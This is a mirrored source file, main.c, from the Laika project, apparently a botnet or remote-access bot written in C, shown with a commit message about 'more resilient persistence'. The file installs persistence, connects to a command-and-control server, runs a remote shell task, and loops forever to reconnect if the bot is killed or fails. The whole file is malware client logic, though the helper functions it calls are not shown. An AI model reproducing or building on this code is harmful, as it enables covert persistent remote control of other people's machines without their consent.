1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-09-28 22:48:47 +00:00
Laika/bot/src/main.c
CPunch 59c01d422b More resilient persistence
- bot will keep trying to connect if it failed to connect to the CNC or if the bot was killed
- if crontab isn't installed the bot will still run
2022-04-10 15:45:30 -05:00

55 lines
1.3 KiB
C

#include <stdio.h>
#include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include "persist.h"
struct sLaika_taskService tService;
void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
if (bot->shell)
laikaB_readShell(bot, bot->shell);
}
int main(int argv, char *argc[]) {
struct sLaika_bot *bot;
/* install persistence */
laikaB_tryPersist();
#ifdef LAIKA_PERSISTENCE
do {
#endif
bot = laikaB_newBot();
/* init task service */
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
LAIKA_TRY
/* connect to test CNC */
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
/* while connection is still alive, poll bot */
while (laikaS_isAlive((&bot->peer->sock))) {
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
laikaT_pollTasks(&tService);
}
}
LAIKA_TRYEND
/* bot was killed or it threw an error */
laikaT_cleanTaskService(&tService);
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
sleep(5);
} while (1);
#endif
return 0;
}